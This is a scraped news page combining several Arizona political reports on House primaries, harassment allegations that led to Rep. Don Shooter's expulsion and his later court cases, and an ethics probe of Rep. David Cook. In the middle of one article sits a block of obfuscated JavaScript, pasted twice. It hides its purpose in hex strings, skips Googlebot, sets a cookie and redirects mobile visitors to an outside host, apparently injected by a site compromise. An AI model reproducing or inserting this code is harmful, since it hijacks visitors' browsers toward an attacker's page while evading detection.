Teachers: A handful of teachers inspired by the “Red for Ed” movement are running for legislative seats. Middle school teacher Jennifer Samuels qualified to run for the House in LD15 and is one of three Democrats in the race. Bonnie Hickman, a teacher in the Gilbert Unified School District, is competing in a crowded field of Republicans gunning to take out Rep. Kelly Townsend, R-Mesa, in LD16. Several other teachers are seeking legislative seats.

LD2: Former state Rep. John Christopher Ackerley, a one-term Republican who held a seat in the predominantly Democratic district, is attempting a comeback. Ackerley pulled off an upset victory in 2014 but lost to Rep. Daniel Hernandez, D-Tucson, two years later. Ackerley will face off against Anthony Sizer, an engineer also seeking the Republican nomination. Hernandez and Rep. Rosanna Gabaldon, D-Green Valley, have also filed to run.

LD5: Incumbents Paul Mosley, R-Lake Havasu City, and Regina Cobb, R-Kingman, face two primary challengers – businessman Leo Biasiucci, who ran as a Green Party candidate in 2012, and Jennifer Jones-Esposito, first vice chair of the La Paz County Republican Committee. The two GOP winners will face off against Democrat Mary McCord Robinson in November. The race, however, recently turned ugly after Biasiucci and his allies accused Mosley of stealing his nominating petitions from a Lake Havasu City gun store. Mosley denied the allegation and instead accused the gun store owner of having thrown away his petitions. Though Cobb said she isn’t running on a slate with any of the three other candidates, she said she urged Biasiucci to get into the race and run against Mosley.

LD16: Five Republican candidates are looking to fill the seat being vacated by Rep. Doug Coleman, R-Apache Junction, or to unseat Rep. Kelly Townsend, R-Mesa, a vocal opponent of the “Red for Ed” movement. Townsend consulted with lawyers about the possibility of a class-action lawsuit on behalf of those affected by the walkout.

LD24: Democrats, including incumbent Rep. Ken Clark, of Phoenix, faces a seven-way primary for the district’s two House seats. Rep. Lela Alston, D-Phoenix, is termed out and is running for the Senate.

LD28: Democrats abandoned their single-shot strategy as they seek to capitalize on an expected “blue wave” in November. In addition to Rep. Kelli Butler, D-Paradise Valley, Aaron Lieberman, also of Paradise Valley, has filed to run for the Democratic nomination. This is the first time since 2002 that Democrats have fielded two House candidates in the district. Two Republicans are also gunning for the House seats: Rep. Maria Syms, R-Paradise Valley, and Kathy Petsas, the district’s GOP chairwoman and a longtime Republican activist. While Petsas is ostensibly running against Butler and Republicans are hoping to get three for three in November, Petsas could unseat Syms instead. Syms has struck a decidedly conservative tone in her famously moderate district, while Petsas boasts more moderate credentials.

 Howard Fischer of Capitol Media Services contributed to this report.

Capitol reacts to allegations Rep. Shooter harassed women, fellow lawmakers

Rep. Don Shooter (R-Yuma)
Rep. Don Shooter (R-Yuma)

After seven women publicly accused Rep. Don Shooter of sexual harassment, the Capitol community has taken to social media to condemn – or defend – the Yuma Republican.

The accusers include Shooter’s fellow lawmakers Rep. Michelle Ugenti-Rita, R-Scottsdale, Rep. Athena Salman, D-Tempe; and Rep. Wenona Benally, D-Window Rock; lobbyist Marilyn Rodriguez; two unnamed lobbyists and former Arizona Capitol Times intern Kendra Penningroth, who was 19 at the time of the incident she reported. Their allegations against the 65-year-old Shooter range from sexually charged comments to unwanted touching.  

As of Friday afternoon, Shooter was suspended – not removed – from his duties as chairman of the House Appropriations committee.

Also on Friday, the Arizona Chamber of Commerce joined calls for Shooter’s resignation.

Sen. Steve Farley, D-Tucson, and Democrat David Garcia, both candidates for governor, made earlier calls for him to resign, as did the Arizona Democratic Party and House Democrats.

“Rep. Shooter should resign immediately so the women who have come forward with details of his unwelcome sexual advances can avoid publicly reliving their traumas,” Farley tweeted on Wednesday evening, adding Shooter had disrespected Arizonans and disgraced the Legislature.

Garcia called for an end to the “‘good-old-boys’ club that tolerates the harassment and abuse of female legislators and staff.”

He also expressed outrage that Shooter attacked Ugenti-Rita, R-Scottsdale, after initially issuing an apology, calling his actions “unconscionable.”

After Ugenti-Rita named Shooter as one of her harassers during an interview with KTVK (Channel 3) political reporter Dennis Welch on Tuesday, Shooter issued a written statement and said he “apparently said things that were insensitive and not taken well.”

However, later that same day, he retracted that statement, stating he had previously been told only that Ugenti-Rita was upset by comments he made but wasn’t given details.

“Ms. Ugenti is lying about me, and I have asked Speaker Mesnard to have the entire matter investigated by the House Ethics Committee/Counsel,” he said. “At the conclusion of their work, I will consider taking further legal action in this matter.”

Nathan Schneider, a Democratic candidate for the House in Shooter’s Legislative District 13, said the accusations were evidence of a “pattern of abuse and unprofessionalism.”

“When will Republicans join us in calling for Don Shooter’s resignation?” he added on Twitter.

Some Republicans have condemned Shooter’s actions, but unlike their colleagues across the aisle, none have yet publicly demanded his removal.

Rep. Anthony Kern, R-Glendale, was one of the first to defend Ugenti-Rita after the KTVK report, and said the allegations must be investigated.

“Sexual harassment should never be tolerated … Lead by example!” he wrote on Twitter.

In a statement, Arizona Republican Party spokeswoman Torunn Sinclair acknowledged the allegations were serious and applauded the decision by House Speaker J.D. Mesnard, R-Chandler, to open an investigation.

House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter's suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)
House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. (Photo by Katie Campbell/Arizona Capitol Times)

According to a statement from Mesnard on Friday announcing Shooter’s suspension, the House’s bipartisan team assembled to investigate the allegations decided to employ outside investigators as they move forward. The team is set to meet Monday to discuss next steps.

Gov. Doug Ducey joined the party in supporting Mesnard and broadly condemned sexual harassment at the Capitol, though he made no specific reference to Shooter.

In a press release, Shooter’s primary challenger for next year’s Senate race, Republican Brent Backus, said that “the House will have to seriously consider discharging Rep. Shooter from the Chamber” if the investigation finds that the allegations are true.

He also called for Shooter to withdraw from the LD13 Senate race if expelled from the House.

And his Democratic challenger, Michelle Harris, compared the Legislature’s response to Shooter’s alleged behavior to her experience with the “old boys club” during her time in the U.S. Air Force.

“The military is far from perfect in this respect, but what we had was accountability at every level of the chain of command.  So far, the Arizona Legislature has shown it has little appetite to police itself,” she said in a written statement Thursday afternoon.

Harris went on to say the only way to change the culture would be to “confront it head-on,” and she supported a call from Rep. Kelly Townsend, R-Mesa, to codify Capitol sexual harassment policies.

Contrary to much of the outrage that followed the women’s public comments, Rep. Regina Cobb, R-Kingman, said she’d never experienced harassment since being elected in 2015 and hadn’t witnessed inappropriate behavior toward others at the Capitol either.

“I have been treated with the utmost respect. You’re in a man’s world, and there’s harassment, but the harassment you usually get is because of… not going along with your party line or something like that. It’s not necessarily because you’re a woman,” she said.

She added that she was surprised by the allegations against Shooter, the legislator she said she’s grown closest to during her time at the Legislature.

“I can make him blush telling him he’s got a nice suit,” she said. “So, for me, if those accusations are made, they better have something substantial to back them up. That could hurt somebody’s life personally and professionally.”

Cobb said Shooter is “a good guy,” and repeatedly commented that the women who have accused him of sexual harassment should be sure of their allegations.

“If it was truly something that you felt was strong and should have been brought out, bring it out. And I think it should be brought out when it happens,” she said, adding the allegations came up because of a “fish-finding expedition” by an unnamed party.

Committee nominates 2 men, 1 woman for state House seat

A Republican precinct committee in Yuma has nominated three people to fill the state House seat vacated by Rep. Don Shooter.

The Sun reports the committee members on Thursday nominated Yuma residents Paul Brierley, Tim Dunn and Cora Lee Schingnitz.

The Yuma County Board of Supervisors will appoint one person on Monday to fill the seat for the remainder of the current legislative session.

Brierley is the executive director of the Yuma Center for Excellence in Desert Agriculture. Dunn is a grain and vegetable grower. Schingnitz is a precinct committee member.

The Republican representative was expelled from the state House last week after a report ordered by legislative leaders showed he engaged in a pattern of sexual harassment toward women.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Cook: Ethics probe now a ‘public prosecution’

Rep. David Cook
Rep. David Cook

A Gila County lawmaker at the center of a House Ethics investigation wrote a letter to his colleagues Tuesday excoriating the practices of the committee leading the probe into his alleged misconduct.       

In the letter, which was sent to both House Republicans and Democrats, Rep. David Cook, R-Globe, paints a picture of a House Ethics Committee out to get him. He writes that the committee has issued overbroad subpoenas, attempted to unfairly frame him as obstinate and uncooperative in the media and refused to reveal the evidence it has on hand despite repeated attempts by Cook and his counsel. 

The investigation, he says, has transformed into a “public prosecution” and a “fishing trip.” 

The critiques are in line with previous statements from Cook’s attorney, Carmen Chenal. She said last week that the committee has persisted in issuing burdensome requests for documents despite attempts by Cook to cooperate, including “hand-delivering” more than 1,100 pages of relevant information that the committee required he annotate, sort and label. 

Rep. John Allen, R-Scottsdale, who leads the probe, has so far refused to disclose the information that he and the committee’s lawyers sought in that subpoena. But Cook’s letter shines a light on what the probe has allegedly requested. 

He writes that not only did the committee request communications between Cook, Pinal County Sheriff Mark Lamb and County Assessor Douglas Wolf — all figures involved in a complaint that Cook used his influence to help a lobbyist with whom he’s allegedly involved romantically get out of paying back taxes on business property — it also requested communications between Cook and any county employee going back to the beginning of his legislative tenure. Most of Cook’s eastern Arizona district, Legislative District 8, is in Pinal County. 

Additionally, Cook claims that the committee requested “any and all documentation regarding any legislation I have been involved with for the entirety of my time at the Legislature.” He says both of these requests are unreasonable, forcing him to rack up legal fees while the committee’s lawyers tally their billable hours “just so they can look through it or portray me as uncooperative if I refuse.” 

Allen, who was appointed to lead the committee after the recusal of standing chair Rep. T.J. Shope — a Coolidge Republican and Cook’s seatmate — stood by the committee’s work. 

“We have stayed within the scope of what’s in the complaints, unless we discover things that go toward the same pattern of behavior, and that’s all,” he said, adding that it’s safe to assume that if the committee requested certain documents, it has reason to suspect that those documents contain information pertinent to the overall investigation. “I grew up fishing, and this isn’t it.”

In the letter, Cook takes issue with an apparent violation of due process. But Allen emphasized that the House is not a court of law. 

“We provide fairness but we don’t have to live by the standards of due process,” he said. 

Cook writes that he doesn’t believe the other members of the committee are necessarily out to get him. 

He feels “certain that some of them would object to such an improper process if they knew the details,” the letter says.

Most of the committee’s work has been a collaborative effort between Allen, House attorney Andrew Pappas and outside counsel Mark Kokanovich. Other members have not been involved, especially during the suspended legislative session. 

But Rep. Regina Cobb, R-Kingman, who was appointed to the committee when the investigation began, said her assumption is that Allen is seeking information relevant to the ethics complaints against Cook. 

“I’m not going to take Mr. Cook’s rendition of what he feels is happening as gospel,” she said. “I was told ahead of time that one thing may open a door to another thing. That’s pretty normal.”

Cook’s characterization of the materials requested in subpoenas sounds broad, but not necessarily unreasonable, said Sen. J.D. Mesnard, R-Chandler, who as House Speaker two years ago oversaw an investigation into sexual misconduct allegations that resulted in the expulsion of Rep. Don Shooter. 

It’s important for Allen to get legal advice from experts he trusts at the House, something Mesnard did while investigating complaints made about Shooter and Sen. Michelle Ugenti-Rita, then a state representative, he said.

Mesnard said he wrestled over keeping that investigation limited to specific complaints, when an investigation by nature is meant to uncover hidden information. The team investigating Cook may not know what it’s looking for until it finds it, he said. 

“If you stumble onto something, you can’t act like you don’t know,” Mesnard said. “This is lots of judgment calls. There’s no clear bright line of ‘This is where you go.’”

Julia Shumway contributed to this report. 

Court allows ex-lawmaker’s ouster to stand

Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)
Former Rep. Don Shooter makes a point during a speech on the floor of the Arizona State House before the vote to expel him from the chamber on Feb. 1, 2018. (Photo by Howard Fischer/Capitol Media Services)

A federal appeals court on July 22 tossed out the claims of former state Rep. Don Shooter that his rights were violated when he was expelled in 2018 from the House of Representatives. 

In a unanimous opinion, the 9th Circuit Court of Appeals said the claims of the Yuma Republican against former House Speaker J.D. Mesnard and former gubernatorial aide Kirk Adams can’t survive the fact that they have qualified immunity for their actions. 

Judge Daniel Collins, writing for the three-judge panel said that can be overcome only if it was clear that Mesnard and Adams had violated rights that were “clearly established.” Given the facts of this case, the judge wrote, Shooter could not reach that burden. 

Collins also pointed out that the Arizona Constitution empowers the House to discipline its own members and even oust them with a two-thirds vote. He said that limits the ability of federal courts to second-guess the procedures used here. 

Finally, the judges rebuffed Shooter’s contention that he had been ejected for violating a zero-tolerance standard against sexual harassment that did not exist before the move to remove him. But they said that argument fails because Shooter had failed to show that the House policy “allowed the sort of conduct of which he was accused.” 

In this case, the court noted, the allegations ranged from commenting about the breasts of a female lawmaker, making “sexualized comments” about a female lobbyist’s appearance, that he made sexual gestures in front of a female lobbyist from the Arizona Supreme Court, that he made a sexual joke to the then-publisher of The Arizona Republic, and that he hugged a female newspaper intern “in a prolonged, uncomfortable, and inappropriate manner.” 

“The notion that the Arizona Legislature previous permitted this type of conduct is simply implausible, and nothing in Shooter’s complaint supports such an inference,” Collins wrote. 

Shooter has conceded that there is merit behind some of the charges. 

“I’ve said stupid things, I’ve done stupid things” he told colleagues on the date of the vote, asking they limit his punishment to a public censure. And he reminded other lawmakers that he apologized earlier this year during a House floor session dealing with sexual harassment training. 

On July 22, Shooter said some of the charges are untrue and others were taken out of context. But he said he and his attorney were still reviewing the ruling and had no immediate comment. 

At the heart of the case are claims by Shooter that Mesnard and Adams, at the time working for Gov. Doug Ducey, were seeking to thwart an investigation about the use of “no-bid” contracts to make technology purposes. That’s where the state chooses a vendor who, according to Shooter, then is able to dictate contract price and service. 

After he threatened to issue subpoenas, Shooter said Rep. Michelle Ugenti-Rita, R-Scottsdale, accused him of sexual harassment. 

He claimed there was a link, saying that she was engaged at the time to a lobbyist who had previously worked for Adams. And Shooter leveled his own charges of inappropriate conduct against her. 

Under normal House procedures, those allegations would have been reviewed by the Ethics Committee where Shooter could have presented evidence and cross-examined others. Instead, Mesnard named his own staff members to oversee a probe and they, in turn, hired an outside law firm. 

That report concluded Shooter “created a hostile working environment” for other lawmakers and those who do business at the Capitol. 

It also found “no credible evidence” that Ugenti-Rita had violated the harassment policy, though a lobbyist later filed a deposition spelling out how she was the victim of a pattern of harassment by the legislator. 

Four days after the report was issued, and without any hearings, the House voted 56-3 to expel him. That led to Shooter’s claim that his rights had been violated. 

Collins said the problem with the case is that Mesnard and Adams, as state officials, are entitled to qualified immunity. 

The only exception, the judge said, is if an official violates a statutory or constitutional right that was “clearly established” at the time of the conduct. But Collins said that Shooter could not meet that legal burden given the state constitutional power of the Arizona House to discipline its own members. 

And Collins said while there was no Ethics Committee probe, Shooter had been given a chance to respond to the outside counsel. He said that clearly had an effect, as some of the original charges ended up being found without merit. 

Thursday’s ruling comes less than a month after the Arizona Supreme Court, ruling in a separate case filed by Shooter, that Mesnard, who is now a state senator, is entitled to absolute immunity for releasing the report of outside investigators which found Shooter had violated that zero tolerance policy against sexual harassment. The justices said ordering the report and then releasing it is an official legislative function for which lawmakers are constitutionally protected. 

But the state’s high court said that immunity did not extend Mesnard’s decision to prepare and release a press release about the report and the events surrounding it, concluding that was more a “political act” than a legislative one. That paves the way for Shooter to pursue his claims of defamation against Mesnard in state court. 

No date has been set for that trial. 

Court: Mesnard lost immunity with press release

From left are J.D. Mesnard and Don Shooter
From left are J.D. Mesnard and Don Shooter

State lawmakers have absolute immunity from being sued by those who are the targets of legislative investigative reports, the Arizona Supreme Court ruled Wednesday. 

In a unanimous decision, the justices said that ousted Rep. Don Shooter has no legal right to pursue a defamation lawsuit against then-House Speaker J.D. Mesnard for publishing a report by an outside legal team that concluded the Yuma Republican was guilty of violating a “zero tolerance” policy against sexual harassment. Justice Ann Scott Timmer, writing for the court, said ordering the report and then releasing it is an official legislative function for which lawmakers are constitutionally entitled to immunity. 

But the justices said that lawmakers lose that immunity when they start publishing press releases about what they do. And that includes writing about and explaining the official report. 

“A legislator who issues a news release does not perform a legislative function but instead engages in a political act,” Timmer wrote. And she brushed aside Mesnard’s contention that the release was simply designed to explain his decision to ask the full House to expel Shooter, saying that was not necessary. 

Wednesday’s ruling clears the way for Shooter to now pursue defamation charges against Mesnard, now a member of the state Senate. 

The new decision sets some important limits on the scope of a provision of the Arizona Constitution. It says that “no member of the legislature shall be held liable in any civil or criminal prosecution for words spoken in debate.” 

This ruling makes it clear that immunity extends not just to floor debate and speeches but to other acts the court concluded “are an integral part of the deliberative and communicative processes.” And that covers not just whether to approve or reject proposals but “other matters which the Constitution places within the jurisdiction of either house.” 

And that includes determining whether to discipline or expel its members. 

But Timmer spelled out there are limits to all that. 

“Making speeches outside the legislative body, performing tasks for constituents, sending newsletters, issuing news releases, and the like are political acts which are unprotected by legislative immunity,” she wrote. Similarly, Timmer said, lawmakers have no protection when they lobby a state agency to administer a law in a particular way. 

She also rebuffed Mesnard’s claim that his decision to issue the release was within his authority as speaker. She said the release “communicates only his personal views and plans rather than those of the House.” 

The House voted 56-3 to oust Shooter after the investigative report commissioned by Mesnard found “credible evidence” that he violated anti-harassment policies with then-Rep. Michelle Ugenti-Rita, R-Scottsdale. That included making sexual comments and suggestions. 

The investigators also found incidents of harassment and improper conduct or comments involving others, including a lobbyist, a newspaper staffer, and the former publisher of the Arizona Republic. 

In filing suit, attorneys for Shooter argued that report was “materially altered” from what the investigators originally produced. 

Among the items missing from the final report, the lawsuit says, is evidence that Ugenti-Rita had herself sexually harassed a female former legislative staffer. That information, Shooter argued, could have undermined Ugenti-Rita’s credibility. 

Timmer said that claim, even if true, is legally irrelevant. She said as long as Mesnard was dealing with the report, he was acting within his legislative capacity and therefore entitled to the constitutional protections. 

He crossed the line, Timmer said, only when issuing the press release. 

The defamation case is only one of the pending legal matters involving Shooter. 

He filed a separate claim against the House saying that his rights were violated in the manner he was ejected. Shooter said he was denied due process, pointing out that the process did not follow the usual procedures, like first having an Ethics Committee investigation where he could present witnesses and evidence of his own. 

A trial judge threw the case out, concluding legislative chambers have an absolute constitutional right to decide how to deal with their members. That case now awaits a ruling from the 9th Circuit Court of Appeals. 

 

 

Don Shooter accuses former speaker of ‘cover-up’ in sexual harassment probe

Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Don Shooter awaits a vote by the state House on whether to expel him on Feb. 1, 2018. He was later removed from office by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

Ousted state Rep. Don Shooter wants the Senate Ethics Committee to determine whether former House Speaker J.D. Mesnard acted unethically in refusing to release parts of an investigative report that resulted in his expulsion.

In a letter to Sen. Sine Kerr, who chairs the panel, Shooter charges that Mesnard is guilty of “intentionally orchestrating a cover-up by hiding from members and the public, critical, relevant testimony from three credible witnesses.”

Those witnesses, Shooter said, would provide a full picture of the situation that resulted in the 56-3 vote in February 2018 to remove him from the House after his colleagues concluded he was guilty of multiple incidents of sexual harassment.

Mesnard, a Chandler Republican, declined to comment on the complaint.
Kerr told Capitol Media Services that Shooter’s complaint is not official because he failed to notarize it as required by Senate rules.

“Therefore, it would not be prudent for me to comment at this time,” she said. “As soon as the complaint is official, the process of review will begin.”

The maneuver is Shooter’s latest bid to find out what investigators learned about charges made against Sen. Michelle Ugenti-Rita, then a fellow representative.

Shooter has alleged that Ugenti-Rita, who made some of the allegations against him, was also guilty of sexual harassment. But the investigator hired by the House found “no credible evidence” that she violated any House policies.

“That finding is a lie,” Shooter says in his complaint, saying evidence gathered in the investigation found both testimony and physical evidence to support his claim.

What makes all this relevant is that Shooter, both here and through a separate lawsuit he has filed, contends that there was a cover-up, that he was forced out, and that some of that was based on the complaint of Ugenti-Rita, “who was also under investigation.”

That is only partly true. The investigation turned up various other instances of sexual harassment, with victims also including other lawmakers, lobbyists and even a woman who at the time was the publisher of the Arizona Republic.

Shooter also filed a copy of the complaint with Rep. T.J. Shope, who chairs the House Ethics Committee.

Technically speaking, that panel no longer has any jurisdiction over Mesnard since he moved to the Senate. But Shooter said the House remains in possession of the full, un-redacted report and all the interviews – material he said would finally provide a complete and balanced picture of what happened.

Shooter never denied making many of the comments to women that were in the investigative report that led to his ouster.

“I’ve said stupid things. I’ve done stupid things,” he said as the vote to oust him was taking place.

But Shooter contends that the result might have been different – possibly only a censure – if his colleagues had the full story.

The demand for the ethics probe and the documents appears to be directly linked to his lawsuit seeking unspecified damages for his removal.

“Every time that they say ‘no,’ the price goes up, to the jury and to everybody else,” Shooter told Capitol Media Services. And both are linked to his contention that not only was he wrongfully ousted, but that his reputation was unfairly damaged.

“Every day I live with the consequences of being expelled,” he writes in his complaint. “No company wants to employ a sexual predator and I have been publicly branded as such.”

Still, Shooter acknowledges his own role in what happened to him.

“I did not understand the impact of my juvenile jokes and I have paid a heavy price,” he said. But Shooter said that releasing the documents will result in “a balance of fairness and honesty.”

Don Shooter alleges conspiracy in claim notice

